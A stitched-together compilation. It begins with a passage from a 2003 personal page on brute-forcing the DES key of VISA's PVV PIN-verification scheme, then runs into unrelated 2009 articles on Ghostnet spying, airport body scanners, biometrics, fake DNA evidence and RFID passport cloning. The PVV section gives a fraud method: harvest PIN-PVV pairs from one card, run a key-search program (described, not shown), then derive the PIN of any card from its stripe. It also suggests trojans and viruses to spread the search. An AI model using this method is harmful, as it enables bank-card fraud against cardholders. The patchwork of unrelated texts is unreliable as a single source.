A brute force attack consists in encrypting a TSP with known PVV using all possible encrypting keys and compare each obtained PVV with the known PVV. When a match is found we have a candidate key. But how many keys we have to try? As we said above the key is 64 bit long, this would mean we have to try 2^64 keys. However this is not true. Actually only 56 bits are effective in DES keys because one bit (the least significant) out of each octet was historically reserved as a checksum for the others; in practice those 8 bits (one for each of the 8 octets) are ignored.

Therefore the DES key space consists of 2^56 keys. If we try all these keys will we find one and only one match, corresponding to the bank secret key? Certainly not. We will obtain many matching keys. This is because the PVV is only a small part (one fourth) of the DES output. Furthermore the PVV is degenerated because some of the digits (those between 0 and 5 after the last, seen from left to right, digit between 6 and 9) may come from a decimal digit or from a decimalized hexadecimal digit of the DES output. Thus many keys will produce a DES output which yields to the same matching PVV.

Then what can we do to find the real key among those other false positive keys? Simply we have to encrypt a second different TSP, also with known PVV, but using only the candidate keys which gave a positive matching with the first TSP-PVV pair. However there is no guarantee we won’t get again many false positives along with the true key. If so, we will need a third TSP-PVV pair, repeat the process and so on.

Before we start our attack we have to know how many TSP-PVV pairs we will need. For that we have to calculate the probability for a random DES output to yield a matching PVV just by chance. There are several ways to calculate this number and here I will use a simple approach easy to understand but which requires some background in mathematics of probability.

A probability can always be seen as the ratio of favorable cases to possible cases. In our problem the number of possible cases is given by the permutation of 16 elements (the 0 to F hexadecimal digits) in a group of 16 of them (the 16 hexadecimal digits of the DES output). This is given by 16^16 ~ 1.8 * 10^19 which of course coincides with 2^64 (different numbers of 64 bits). This set of numbers can be separated into five categories:

  1. Those with at least four decimal digits (0 to 9) among the 16 hexadecimal digits (0 to F) of the DES output.
  2. Those with exactly only three decimal digits.
  3. Those with exactly only two decimal digits.
  4. Those with exactly only one decimal digit.
  5. Those with no decimal digits (all between A and F).
Let’s calculate how many numbers fall in each category. If we label the 16 hexadecimal digits of the DES output as X1 to X16 then we can label the first four decimal digits of any given number of the first category as Xi, Xj, Xk and Xl. The number of different combinations with this profile is given by the product 6 i-1 * 10 * 6j-i-1 * 10 * 6k-j-1 * 10 * 6 l-k-1 * 10 * 1616-l where the 6′s come from the number of possibilities for an A to F digit, the 10′s come from the possibilities for a 0 to 9 digit, and the 16 comes from the possibilities for a 0 to F digit. Now the total numbers in the first category is simply given by the summation of this product over i, j, k, l from 1 to 16 but with i < j < k < l. If you do some math work you will see this equals to the product of 104/6 with the summation over i from 4 to 16 of (i-1) * (i-2) * (i-3) * 6i-4 * 16 16-i ~ 1.8 * 1019.

Analogously the number of cases in the second category is given by the summation over i, j, k from 1 to 16 with i < j < k of the product 6i-1 * 10 * 6j-i-1 * 10 * 6k-j-1 * 10 * 616-k which you can work it out to be 16!/(3! * (16-13)!) * 103 * 6 13 = 16 * 15 * 14/(3 * 2) * 103 * 613 = 56 * 104 * 613 ~ 7.3 * 1015. Similarly for the third category we have the summation over i, j from 1 to 16 with i < j of 6i-1 * 10 * 6j-i-1 * 10 * 616-j which equals to 16!/(2! * (16-14)!) * 102 * 614 = 2 * 103 * 615 ~ 9.4 * 1014. Again, for the fourth category we have the summation over i from 1 to 16 of 6i-1 * 10 * 616-i= 160 * 615 ~ 7.5 * 1013. And finally the amount of cases in the fifth category is given by the permutation of six elements (A to F digits) in a group of 16, that is, 616 ~ 2.8 * 1012.

I hope you followed the calculations up to this point, the hard part is done. Now as a proof that everything is right you can sum the number of cases in the 5 categories and see it equals the total number of possible cases we calculated before. Do the operations using 64 bit numbers or rounding (for floats) or overflow (for integers) errors won’t let you get the exact result.

Up to now we have calculated the number of possible cases in each of the five categories, but we are interested in obtaining the number of favorable cases instead. It is very easy to derive the latter from the former as this is just fixing the combination of the four decimal digits (or the required hexadecimal digits if there are no four decimal digits) of the PVV instead of letting them free. In practice this means turning the 10′s in the formula above into 1′s and the required amount of 6′s into 1′s if there are no four decimal digits. That is, we have to divide the first result by 104, the second one by 103 * 6, the third one by 102 * 62 , the fourth one by 10 * 63 and the fifth one by 64 . Then the number of favorable cases in the five categories are approximately 1.8 * 1015, 1.2 * 1012, 2.6 * 1011 , 3.5 * 1010, 2.2 * 109 respectively.

Now we are able to obtain what is the probability for a DES output to match a PVV by chance. We just have to add the five numbers of favorable cases and divide it by the total number of possible cases. Doing this we obtain that the probability is very approximately 0.0001 or one out of ten thousand. Is it strange this well rounded result? Not at all, just have a look at the numbers we calculated above. The first category dominates by several orders of magnitude the number of favorable and possible cases. This is rather intuitive as it seems clear that it is very unlikely not having four decimal digits (10 chances out of 16 per digit) among 16 hexadecimal digits. We saw previously that the relationship between the number of possible and favorable cases in the first category was a division by 10^4, that’s where our result p = 0.0001 comes from.

Our aim for all these calculations was to find out how many TSP-PVV pairs we need to carry a successful brute force attack. Now we are able to calculate the expected number of false positives in a first search: it will be the number of trials times the probability for a single random false positive, i.e. t * p where t = 2^56, the size of the key space. This amounts to approximately 7.2 * 10^12, a rather big number. The expected number of false positives in the second search (restricted to the positive keys found in the first search) will be (t * p) * p, for a third search will be ((t * p) * p) * p and so on. Thus for n searches the expected number of false positives will be t * p^n.

We can obtain the number of searches required to expect just one false positive by expressing the equation t * p^n = 1 and solving for n. So n equals to the logarithm in base p of 1/t, which by properties of logarithms it yields n = log(1/t)/log(p) ~ 4.2. Since we cannot do a fractional search it is convenient to round up this number. Therefore what is the expected number of false positives if we perform five searches? It is t * p^5 ~ 0.0007 or approximately 1 out of 1400. Thus using five TSP-PVV pairs is safe to obtain the true secret key with no false positives.

The attack

Once we know we need five TSP-PVV pairs, how do we get them? Of course we need at least one card with known PIN, and due to the nature of the PVV algorithm, that’s the only thing we need. With other PIN systems, such as IBM, we would need five cards, however this is not necessary with VISA PVV algorithm. We just have to read the magnetic stripe and then change the PIN four times but reading the card after each change.

It is necessary to read the magnetic stripe of the card to get the PVV and the encrypting key selector. You can buy a commercial magnetic stripe reader or make one yourself following the instructions you can find in the previous page and links therein. Once you have a reader see this description of standard magnetic tracks to find out how to get the PVV from the data read. In that document the PVV field in tracks 1 and 2 is said to be five character long, but actually the true PVV consists of the last four digits. The first of the five digits is the key selector. I have only seen cards with a value of 1 in this digit, which is consistent with the standard and with the secret key never being compromised (and therefore they did not need to move to another key changing the selector).

I did a simple C program, getpvvkey.c, to perform the attack. It consists of a loop to try all possible keys to encrypt the first TSP, if the derived PVV matches the true PVV a new TSP is tried, and so on until there is a mismatch, in which case the key is discarded and a new one is tried, or the five derived PVVs match the corresponding true PVVs, in which case we can assume we got the bank secret key, however the loop goes on until it exhausts the key space. This is done to assure we find the true key because there is a chance (although very low) the first key found is a false positive.

It is expected the program would take a very long time to finish and to minimize the risks of a power cut, computer hang out, etc. it does checkpoints into the file getpvvkey.dat from time to time (the exact time depends on the speed of the computer, it’s around one hour for the fastest computers now in use). For the same reason if a positive key is found it is written on the file getpvvkey.key. The program only displays one message at the beginning, the starting position taken from the checkpoint file if any, after that nothing more is displayed.

The DES algorithm is a key point in the program, it is therefore very important to optimize its speed. I tested several implementations: libdesSSLeayopensslcryptlibnsslibgcryptcatacomb,libtomcryptcryptoppufc-crypt. The DES functions of the first four are based on the same code by Eric Young and is the one which performed best (includes optimized C and x86 assembler code). Thus I chose libdes which was the original implementation and condensed all relevant code in the files encrypt.c (C version) and x86encrypt.s (x86 assembler version). The code is slightly modified to achieve some enhancements in a brute force attack: the initial permutation is a fixed common steep in each TSP encryption and therefore can be made just one time at the beginning. Another improvement is that I wrote a completely new setkey function (I called it nextkey) which is optimum for a brute force loop.

To get the program working you just have to type in the corresponding place five TSPs and their PVVs and then compile it. I have tested it only in UNIX platforms, using the makefile Makegetpvvkeyto compile (use the command “make -f Makegetpvvkey”). It may compile on other systems but you may need to fix some things. Be sure that the definition of the type long64 corresponds to a 64 bit integer. In principle there is no dependence on the endianness of the processor. I have successfully compiled and run it on Pentium-Linux, Alpha-Tru64, Mips-Irix and Sparc-Solaris. If you do not have and do not want to install Linux (you don’t know what you are missing ;-) you still have the choice to run Linux on CD and use my program, see my page running Linux without installing it.

Once you have found the secret bank key if you want to find the PIN of an arbitrary card you just have to write a similar program (sorry I have not written it, I’m too lazy :) that would try all 10^4 PINs by generating the corresponding TSP, encrypting it with the (no longer) secret key, deriving the PVV and comparing it with the PVV in the magnetic stripe of the card. You will get one match for the true PIN. Only one match? Remember what we saw above, we have a chance of 0.0001 that a random encryption matches the PVV. We are trying 10000 PINs (and therefore TSPs) thus we expect 10000 * 0.0001 = 1 false positive on average.

This is a very interesting result, it means that, on average, each card has two valid PINs: the customer PIN and the expected false positive. I call it “false” but note that as long as it generates the true PVV it is a PIN as valid as the customer’s one. Furthermore, there is no way to know which is which, even for the ATM; only customer knows. Even if the false positive were not valid as PIN, you still have three trials at the ATM anyway, enough on average. Therefore the probability we calculated at the beginning of this document about random guessing of the PIN has to be corrected. Actually it is twice that value, i.e., it is 0.0006 or one out of more than 1600, still safely low.

Results

It is important to optimize the compilation of the program and to run it in the fastest possible processor due to the long expected run time. I found that the compiler optimization flag -O gets the better performance, thought some improvement is achieved adding the -fomit-frame-pointer flag on Pentium-Linux, the -spike flag on Alpha-Tru64, the -IPA flag on Mips-Irix and the -fast flag on Sparc-Solaris. Special flags (-DDES_PTR -DDES_RISC1 -DDES_RISC2 -DDES_UNROLL -DASM) for the DES code have generally benefits as well. All these flags have already been tested and I chose the best combination for each processor (see makefile) but you can try to fine tune other flags.

According to my tests the best performance is achieved with the AMD Athlon 1600 MHz processor, exceeding 3.4 million keys per second. Interestingly it gets better results than Intel Pentium IV 1800 MHz and 2000 MHz (see figures below, click on them to enlarge). I believe this is due to some I/O saturation, surely cache or memory access, that the AMD processor (which has half the cache of the Pentium) or the motherboard in which it is running, manages to avoid. In the first figure below you can see that the DES breaking speed of all processors has more or less a linear relationship with the processor speed, except for the two Intel Pentium I mentioned before. This is logical, it means that for a double processor speed you’ll get double breaking speed, but watch out for saturation effects, in this case it is better the AMD Athlon 1600 MHz, which will be even cheaper than the Intel Pentium 1800 MHz or 2000 MHz.

In the second figure we can see in more detail what we would call intrinsic DES break power of the processor. I get this value simply dividing the break speed by the processor speed, that is, we get the number of DES keys tried per second and per MHz. This is a measure of the performance of the processor type independently of its speed. The results show that the best processor for this task is the AMD Athlon, then comes the Alpha and very close after it is the Intel Pentium (except for the higher speed ones which perform very poor due to the saturation effect). Next is the Mips processor and in the last place is the Sparc. Some Alpha and Mips processors are located at bottom of scale because they are early releases not including enhancements of late versions. Note that I included the performance of x86 processors for C and assembler code as there is a big difference. It seems that gcc is not a good generator of optimized machine code, but of course we don’t know whether a manual optimization of assembler code for the other processors (Alpha, Mips, Sparc) would boost their results compared to the native C compilers (I did not use gcc for these other platforms) as it happens with the x86 processor.Bench1 Bench2

The top mark I got running my program was approximately 3 423 922 keys/second using the AMD processor. So, how much time would need the AMD to break the VISA PIN? It would simply be the ratio between the size of the key space and the key trying rate, that is, 2^56 keys/3 423 922 keys/second ~ 2.1 * 10^10 seconds ~ 244 thousand days ~ 667 years. This is the time for the program to finish, but on average the true secret key will be found by half that time. Using commercial cryptographic cards (like the IBM PCI Cryptographic Coprocessor or the XL-Crypt Encryption Accelerator) does not help very much, they are, at most, 2 times faster than my top mark, i.e. it would take more than a hundred years to find the key, at best. Some more speed might be achieved (double, at most) by using a dedicated gigabit VPN box or similar hardware in a way surely not foreseen by the manufacturer ;-)

Even if you manage to get a hundred newest AMD or Pentium processors working in parallel it would still take more than 3 years to find the key (if they are provided with crypto-cards the time might be reduced to less than two years or to less than one year in case of a hundred gigabit VPN boxes). It is clear that only expensive dedicated hardware (affordable only by big institutions) or a massive Internet cooperative attack would success in a reasonable time (both things were already made). These are the good news. The bad news is that I have deliberately lied a little bit (you may already noticed it): VISA PVV algorithm allows for the use of triple DES (3-DES) encryption using a 128 bit (only 112 effective) encrypting key. If 3-DES is indeed in use by the PVV system you can still use the same attack but you would need four additional TSP-PVV pairs (no problem with that) and it would take more than 3 * 2^56 times more to find the double length key. Forget it.

PVV algorithm with triple DES consists in the encryption of the TSP with the left half of the encrypting key, then it decrypts the result with the right half of the key and encrypts the result again with the left half of the key. Note that if you use a symmetric 128 bit key, that is, the left half equals the right half, you get a single DES encryption with a single 64 bit key. In this case the algorithm degenerates into the one I explained above. That’s why I did this work, because PVV system is old and maybe when it was implanted 3-DES was not viable (due to hardware limitations) or it seemed excessive (by that time) to the people responsible of the implementation, so that it might be possible some banks are using the PVV algorithm with single DES encryption.

Finally we can conclude that the VISA PVV algorithm as in its general form using 3-DES is rather secure. It may only be broken using specially designed hardware (implying an enormous inversion and thus not worth, see Wayner and Wiener) which would exceed the encryption rate of the newest processors by many orders of magnitude. However the apparently endless exponential growing of the computer capacities as well as that of the Internet community makes to think that PVV system might be in real danger within a few years. Of course those banks using PVV with single DES (if any) are already under true risk of an Internet cooperative attack. You might believe that is something very hard to coordinate, I mean convincing people, but think about trojan and virus programs and you will see it is not so difficult to carry on.


padilla@gae.ucm.es (17-Jun-2003) My PGP public key.

This link: http://www.gae.ucm.es/~padilla/extrawork/visapvv.html
Color line
Back Go to the parent page: Magnetic stripe reader/writer.



Electronic Spying Operation (How Biometic is going to be leaked)

Oct 18th, 2009 | By | Category: Evidence
By Brian PaddenWashington

Computer keyboard
Computer keyboard

Canadian researchers say they have uncovered a China-based electronic spying operation that infiltrated computers in 103 countries.  While they say they have no conclusive evidence of Chinese government involvement, the targets of the computer espionage were political.  The cyber spying operation is one of the biggest and most sophisticated ever discovered.

Researchers at the University of Toronto call it Ghostnet – an electronic spying operation that infiltrated more than 1,000 computers around the world.  They say it targeted NATO, the Indian Embassy here in Washington and Tibetan exile centers in India, Brussels and London.  Researchers say that in addition to stealing computer files, the cyber spies could turn on the internal camera on a remote computer to eavesdrop on live conversations.

Nart Villeneuve is with the University of Toronto’s Munk Center for International Studies.  He says that while the operation was sophisticated in its organization and scope, it used readily available Internet viruses called Trojans, attached to email messages to infiltrate computers.

“From a purely technical point of view, no, it was not that sophisticated,” said Nart Villeneuve. “The Trojan, the attacker favors, the ‘ghost rat;’ it’s open sourced.  You can go and download it.  It’s not like it is some clever special new way of doing it.  But the way in which the attacker was able to leverage these tools was sophisticated.”

The Toronto researchers uncovered the cyber spying operating when they were asked by the exiled Tibetan leader, the Dalia Lama to examine his organization’s computers for malware – malicious software that can infiltrate or damage a computer system.

Although the group cannot say whether the Chinese government was involved, they add that Ghostnet’s computers were almost exclusively located in China and that the targets were political.  They found infected computers in the Dalai Lama’s organization and were able to trace stolen correspondence back to the spy network’s computer servers in China.

The Chinese government has denied any involvement in the operation.

But James Lewis, a technology expert with the Center for Strategic and International Studies in Washington says cyber spying is nothing new for the Chinese government.

“We know that they are interested as a government,” said Lewis. “We know that they’ve done it in the past as a government.  And the things that are being collected are of interest to the Chinese government.”

Lewis notes that many countries, including the United States and Russia, use computer technology to gather intelligence.

The University of Toronto researchers say an international agreement is needed to protect privacy rights and prohibit cyber spy operations like Ghostnet in the future.



A naked assault on our right to privacy

Oct 15th, 2009 | By | Category: Evidence, Opinions
Thursday 15 October 2009

Nathalie Rothschild


Airport scanners that will ogle our naked bodies are only a more hi-tech version of everyday state surveillance.

Ever since the 2006 foiled terror plot to use liquid explosives to blow up transatlantic jets departing from Heathrow Airport, going through airport security checks has become an ever-bigger hassle. In light of this, any move to make the process more smooth would seem welcome. But at what price?

Now, as anyone who has taken a flight from the UK in recent years will know, not only do passengers have to empty their pockets of metal objects before going through the security scanners, but they are also required to pour any liquids they wish to carry in their hand luggage into 100ml containers and fit them all into a single, see-through plastic bag. Personally, every time I fly, as I try to squeeze in all those travel-size liquid containers – my preferred brands of toothpaste, deodorant, lip gloss and perfume in full view – while simultaneously yanking my laptop out of my inevitably over-sized hand luggage, removing any coat, scarf, chunky jewellery or belt and fishing loose change out of my pockets, I curse those damn terrorists and the overzealous British security officials.

So perhaps the introduction of the Iris Recognition Immigration System, which allows eligible passengers to use automated barriers at UK terminals, and of the queue-busting facial recognition gates for owners of the new e-passport at London’s Stansted Airport is all good news? Except, of course, that while these things will make going through passport controls quicker and smoother, the trade-off is that our biometric data is being stored on yet more databases. And it also means that the state is using technologically advanced ways to hinder, even more effectively than before, those non-EU nationals without hard-to-come-by visas from crossing British borders.

While Neale Jouques, Stansted Airport’s head of terminal, has said that ‘The new facial recognition gates have been very well received by our passengers, with their feedback overwhelmingly positive’ (1), Manchester Airport’s security checks may just have gone a bit too sci-fi for most people’s comfort. The airport has introduced a full-body, human X-ray scanner which, while saving passengers from the hassle of removing any clothes, shoes or belts, also produces ‘naked’ black-and-white images which are seen by an officer in a remote location before then being deleted.

The scanners, which produce a virtual, three-dimensional image of passengers, will also show up breast enlargements, body piercings and a clear outline of passengers’ genitals. The scanners have already been used in Los Angeles and New York and are being rolled out at airports across the US. The UK Department for Transport will decide whether to install them permanently at British airports in about a year’s time (2).

An example of an image from the new scanner

The scanner provides graphic proof of the extreme lengths to which the authorities are willing to go when it comes to inspecting the public and prying into our private lives (or private parts in this case) in the name of national security. With the expansion of state-sanctioned snooping and surveillance methods – from CCTV to iris scans and ID cards – the state’s ability to record and monitor our everyday lives has grown and grown.

Yet at the same time, our ability to record the actions of the state has diminished. As I reported recently on spiked, ‘no photo zones’ in the UK are expanding and plenty of professional and amateur photographers, as well as tourists, have been prevented from taking pictures by police officers who have invoked Section 44 of the Counter-Terrorism Act 2000; this gives police extended stop and search powers. And since the introduction of Section 76 of the Counter-Terrorism Act 2008, photographing a cop or members of the armed forces or intelligence services can land you a fine or even a 10-year prison sentence (3)

With the state clamping down on our freedom to hold it accountable for its actions, it seems the government’s favourite mantra that ‘if you’ve got nothing to hide, you’ve got nothing to fear’, used to justify growing surveillance, does not apply to the police.

In the case of the new airport X-ray scanner it is perfectly reasonable that people might want to hide their breast implants, beer bellies and genitals from airport officers. And it is also perfectly reasonable that we might want to hide information about our political affiliations, personal relationships or bank account details from the authorities, too, instead of merely blindly trusting the state or accepting that the authorities have the right to know intimate details about our personal lives and habits.

However, while the X-ray scanner allows strangers to view graphic images of our physiques, there are plenty of less explicit or hi-tech forms of monitoring our bodies and habits that have been introduced without much protest. Contemporary British society is infused with impulses and policies to survey, monitor, measure and ogle the public. From the ban on smoking in public spaces, and in some cases even in our own homes, to the expansion of the Independent Safeguarding Authority vetting database and the recent proposal by anti-obesity campaigners that midwives should record the body mass index of newly pregnant women and their partners (4), our liberties are being increasingly infringed upon ‘for our own good’.

While the airport scanner forces us literally to bare all for the authorities, these other measures involve less machinery, but are nonetheless pernicious ways of making us comply with standards, values and behaviours defined by the state and by various health-and-safety campaigners.

Surveillance methods, increased policing and the roll-out of lifestyle correction programmes have been continually expanded in recent years because of a political climate where a cavalier attitude to individual autonomy rules and where the boundaries between the private and public spheres have collapsed. Today, we are told to defer to various authorities on everything from community relations to our body size and consumption choices.

All of this has been met with little resistance. Many people express discomfort with hi-tech forms of monitoring the public while accepting less hi-tech but equally authoritarian surveillance measures. So while many rile against the ‘database state’ and don’t like the idea of being scanned and spied on by an all-seeing machine at an airport, they tend to conform to other forms of third-party intervention in community life, interpersonal relations and lifestyle choices. Yet such interventions, while not as obviously spooky as an X-ray machine that stares at our private parts, also pose a great threat to our liberties and self-determination as well as to solidarity amongst the public.

For many, high-tech machines invoke scary images of a Big Brother, sci-fi state. However, it is not intrusive technology per se that we need to worry about, but the intrusive state which sanctions it.

Nathalie Rothschild is commissioning editor of spiked.



Security & privacy in Biometrics – how do we ensure proportionality ?

Oct 7th, 2009 | By | Category: Evidence

By Søren Duus Østergaard – Duus Blog


A basic principle in the current
European Data Protection Act is to ensure proportionality between the level and amount of personal identifiable data, that you have to reveal to identify yourself has to be proportional to the risk and danger incurred if the identity is faked or stolen.

The recent years have seen a growth in tools for identification, mainly in the biometric area, that has led to the risk of ‘overreacting’ using easy biometrics where lesser level of authentication could have been used. One of the latest strange cases from Denmark is a night club, that has been
allowed by the data protection agency to take customers fingerprints at the entrance as a means to secure against violent behavior. Horror examples of major collection of biometric data is of course U K’s collection of DNA profiles for children, a practice that was started 5 or 6 years ago.

The risks involved are related to the kind of threat you are trying to prevent: Do we need the security tool to reveal the identity and all related information? This may be the case if we have a strong suspicion that a person is directly related in crime or an act of terror. Or do we only need to know if a person is 18 years old so it is legal to sell alcohol to him/her? Similarly, within the health area a nurse and a doctor do not need to have full access to a patients medical record if he has lost his consciousness and need a blood transfusion, only the key information of blood type and current medication.

So the use of biometrics in itself is one dimension of the game – and the other dimension is what the biometric identification gives access to reveal of PII – Personally Identifiable Information – at the same time or as a consequence of using the biometrics.

The first question of proportionality is then solely related to the ‘strength’ of the biometric method used. A weak solution is a quick, convenient solution which is non-intrusive, non-incriminating and non-discriminating in regard to civil rights and color of skin, sex, race and religion. For this purpose simple biometrics like a
signature (Analog or digitized) may be better than a fingerprint ( traditional, optical electronic scanning using a template to generate a simple bit stream) – because fingerprints may be seen as incriminating, offensive, police-like. while a face recognition reveals race, color of skin and maybe sex, and thus does not meet the other criteria.

Signatures may be faked, fingerprints (simple fingerprints) can be stolen – in bizarre cases it has been seen that criminals have cut off fingers of owners of Mercedes 300S cars to break the fingerprint starting mechanism. (This risk is probably less in Northern Europe, though.) Or it may be
difficult to read the results properly.

When stronger proof is needed, it is acceptable to rely on methods with higher reliability – like the thermal scanning of fingerprints, that measures the distance from the underlying blood, revealing riffs and valleys, again to be transformed by fast fourier transformation to a template consisting of 0′s and 1′s. This prevents the use of faked fingerprints copied on a strip of tape – and even the rough case of cutting off Mercedes’ owner’s finger –( presumably the blood has stopped circulating – so no heat difference). Also
Iris recognition has been suggested, whereas 3D face recognition at this point still has a higher rate of errors. It has been suggested to use at least 2 types of biometry, like the US border control where you combine fingerprints with face recognition.
In any case the reliability of the identification methodology applied in every case has to discussed and explained before any solution is deployed. (
See article about reliability)

It may be OK under well-defined circumstances to use higher level of trusted biometrics, even if they are not 100% proof. The second dimension of the question than is what other PII is stored with the template or the face geometry is stored and how these data are protected. This is a question of data stewardship and again should be in proportion to the use of the data. Taking the example from the Danish night club that has been granted permission to store peoples’ fingerprints, these should definitely not be store with any other information than the purpose: Is this guy know to have a tendency to quarrel – NOT his name, address etc. Even if this is kept using cryptography, it is not in proportion to the use of the biometric data.

Other types of biometrics are recognition of moving patterns,
voice recognition, pattern of the veins, retina scan – and of course DNA. Whereas the failure rate (both positive and negative) of the first 2 of these types are still relatively high, the 3 other may reveal unwarranted additional details of the health situation of the individual, hence these items should only be used for forensic purposes and not just collected arbitrarily or even – as in the UK DNA case – systematically.

An important aspect of using Biometrics is also how it will be possible to revoke or change the biometrics as the person changes. Whereas fingerprints remain stable for a longer period in life, face geometry changes a lot from childhood to old age, so does walking patterns, voice. And people do have cosmetic operations in their faces, accidents may change the looks and behavior so any system based on biometrics should have a way to allow for changes of this kind and it should be possible to revoke biometrics.

But as the technology improves and computing power is increasing, one solution which could use biometrics and at the same time prevent the data from occurring in the open space or being communicated could be to have an ID card with a number of different domains, each holding the relevant information linked to the person: one domain simply stating the age, another for the bank including bank account numbers, one for driving license use, one for medical/health care use, one for insurance use, one for credit cards, one for public identification purposes.
If this identity card can be activated by a fingerprint reader plus a pin code, the citizen could then select exactly how much PII he wants to reveal in the situation. This is in line with the P
rimeLife recommendations from IBM Zürich Lab, that has just got the German award for forward think identity management solution. This type of solution has the advantage that the user is in full control and that no central database is required for the biometric data.

In a few days I will discuss the use of video surveillance, what we know about it as a crime prevention tool and what may be a more intelligent way of using it.



Lab creates fake DNA evidence

Oct 1st, 2009 | By | Category: Evidence

Aug 18, 2009 01:45 PM in Biology

By Katherine Harmon Scientific American

Researchers have demonstrated it’s possible to remove all the DNA from samples like blood and saliva, and replace it with genetic material from a different individual—even when the only source of this material is a used cigarette butt. Their methodology was good enough to fool a lab that does crime-scene DNA testing.

“DNA is a lot easier to plant at a crime scene than fingerprints”

Unlike finicky fingerprintsand frowned-upon fiber analysis, DNA evidence has been the most bulletproof evidence for forensic sciences in recent years. But staffers at a research firm in Israel have recently upended the presumed infallibility of this forensics golden child—by making it themselves.

Nucleix, a Tel-Aviv-based life sciences company, was able to create credible DNA evidence that could be used to finger the wrong person, proof that even genetic evidence can be manipulated (beyond planting a hair or used cigarette) just like other physical traces.

Fake DNA Evidence LAB

Fake DNA Evidence LAB

“You can just engineer a crime scene,” Nucleix founder Dan Frumkin told The New York Times. “The current forensic procedure fails to distinguish between such samples of blood, saliva, and touched surfaces with artificial DNA, and corresponding samples with in vivogenerated (natural) DNA,” Frumkin and co-authors wrote in a recent Forensic Science International: Genetics study that announced the technological achievement.

But, don’t worry, like a hacker taking down servers to sell cyber security services, Nucleix has a fix: a system that can detect the difference between natural and manufactured DNA. It looks for a lack of methylation; an addition of methyl groups to DNA occurs naturally in genetic code, but it isn’t found in Nucleix’s manipulated DNA.

To make the fake DNA, all the researchers needed was a small sample of the DNA they wanted to plant (such as that from hair or lingering in saliva left on a discarded coffee cup) and blood from a donor. Donor blood was centrifuged to separate DNA-containing white cells and DNA-free red cells. The researchers then expanded the filched DNA into a larger sample size via whole genome amplification and added it to the DNA-free red blood cells from the donor. Poof! Blood that matched the genetic profile of the person to be framed—not the donor—was created.

Nucleix was also able to replicate a deceptive double helix just by working off genetic profiles in a police database. Building a small collection of common genetic variations—425—for different genome points, they were able to drum up a fabricated sample.

“Any biology undergraduate could perform this,” Frumkin told the Times.

Of course, others are voicing doubts that many criminals could replicate such technical processes. “In my experience, the people that we arrest for murder, rape, robbery, child molestation, generally don’t have a very good foundation in molecular biology,” legal analyst Dean Johnson told San Francisco’s ABC News 7. But, notes Johnson, in a “real stretch,” attorneys could employ these findings to argue against the use of DNA evidence in court.

In the meantime, concern about disproportionate trust of DNA testing is mounting, notes American Civil Liberties Union science adviser Tania Simoncelli. “DNA is a lot easier to plant at a crime scene than fingerprints,” she told the Times. “We’re creating a criminal justice system that is increasingly relying on this fakeable  technology.”



Passport RFIDs cloned wholesale by $250 eBay auction spree

Sep 29th, 2009 | By | Category: Evidence

Original URL: http://www.theregister.co.uk/2009/02/02/low_cost_rfid_cloner/

By Dan Goodin in San FranciscoPosted in Security, 2nd February 2009 06:02 GMT

Using inexpensive off-the-shelf components, an information security expert has built a mobile platform that can clone large numbers of the unique electronic identifiers used in US passport cards and next generation drivers licenses.

The $250 proof-of-concept device – which researcher Chris Paget built in his spare time – operates out of his vehicle and contains everything needed to sniff and then clone RFID, or radio frequency identification, tags. During a recent 20-minute drive in downtown San Francisco, it successfully copied the RFID tags of two passport cards without the knowledge of their owners.

Paget’s contraption builds off the work of researchers at RSA and the University of Washington, which last year found weaknesses in US passport cards and so-called EDLs, or enhanced drivers’ licenses. So far, about 750,000 people have applied for the passport cards, which are credit card-sized alternatives to passports for travel between the US and Mexico, Canada, the Caribbean, and Bermuda. EDLs are currently offered by Washington and New York states.

“It’s one thing to say that something can be done, it’s another thing completely to actually do it,” Paget said in explaining why he built the device. “It’s mainly to defeat the argument that you can’t do it in the real world, that there’s no real-world attack here, that it’s all theoretical.”

Use of the cards is expected to rise as US officials continue to encourage their adoption. Civil liberties groups have criticized the cards and a travel industry association has called on the federal government to suspend their use

(http://www.theregister.co.uk/2008/12/01/rfid_scanning_under_fire/) until the risks can be better understood.

The cards make use of the RFID equivalent of optical barcodes known as electronic product code tags, which are widely used to track cattle and merchandise as it’s shipped and then stored in warehouses. Because the technology employs no encryption and can be read from distances of more than a mile, the tags are highly susceptible (PDF)

(http://www.rsa.com/rsalabs/staff/bios/ajuels/publications/EPC_RFID/Gen2authentication–22Oct08a.pdf) to cloning and tracking, researchers have concluded.

Paget’s device consists of a Symbol XR400 RFID reader (now manufactured by Motorola), a Motorola AN400 patch antenna mounted to the side of his Volvo XC90, and a Dell 710m that’s connected to the RFID reader by ethernet cable. The laptop runs a Windows application Paget developed that continuously prompts the RFID reader to look for tags and logs the serial number each time one is detected. He bought most of the gear via auctions listed on eBay.

Caught on Video

He plans to release the software’s source code during a demonstration at the Shmoocon hacker convention (http://www.shmoocon.org/) to be held later this month in Washington.

Paget’s device has a range of about 30 feet, making it ideal for discretely skimming the EDL and passport card tags of people who pass by his vehicle. With modifications, Paget says his device could read RFID identifiers that are more than a mile away. The antenna was concealed by the vehicle’s tinted window, and the PC and RFID reader fit well below the eye line, making it virtually undetectable by passersby.

To be sure, the RFID tags contain no personally identifiable information, but rather what amounts to a record pointer to a secure Department of Homeland Security database. But because the pointer is a unique number, the American Civil Liberties Union and other civil libertarians warn the cards are still susceptible to abuse, especially if their RFID tags can be read and captured in large numbers. Cloning the unique electronic identifier is the first step in creating fraudulent passport cards, they say.

The cards also amount to electronic license plates that could be used to conduct clandestine surveillance. Law enforcement officials could scan them at political rallies and then store them in databases. The tags could also be correlated to other signals, such as electronic toll-booth payment systems or RFID-based credit cards, to track the detailed movements of their holders.

Not that the Feds Care

Officials with the US Customs and Border Protection Department say they have no plans to overhaul the technology used in passport cards. RFID signals allow border agents to process travelers more quickly and bring an added level of security to the process, spokeswoman Kelly Ivahnenko said. The cards come with protective sleeves that prevent the RFID tags from being readable, she added, and even if they are captured, she said there is little anyone can do with the information.

“From our standpoint the privacy issues have been misrepresented and blown out of proportion,” she told The Reg. “Anytime that you have a new technology and use it in a new way, there are always going to be far-out ways to use information nefariously. We want travelers to be aware of the technology and to know how it works so that they can be comfortable using it.”

A spokesman from the US State Department – which processes applications for passport cards and then issues them – declined to comment.

But critics contend the risks are real, especially if RFID-enable identification becomes universal.

“Just like a social security number, the unique identifier number on this document must be properly safeguarded,” said Nicole Ozer, Technology and Civil Liberties policy director of the ACLU of Northern California. “If it falls into the wrong hands, it can be used for tracking, stalking, identity theft, and counterfeiting. If the government continues to stick its head in the sand and ignore the very real privacy and security threats that researchers, civil liberties organizations, and even industry groups have repeatedly brought to its attention, the American people will pay a very high price.”



DHS Asked to Not Delete “Fly Clear” Biometric Data of Travellers

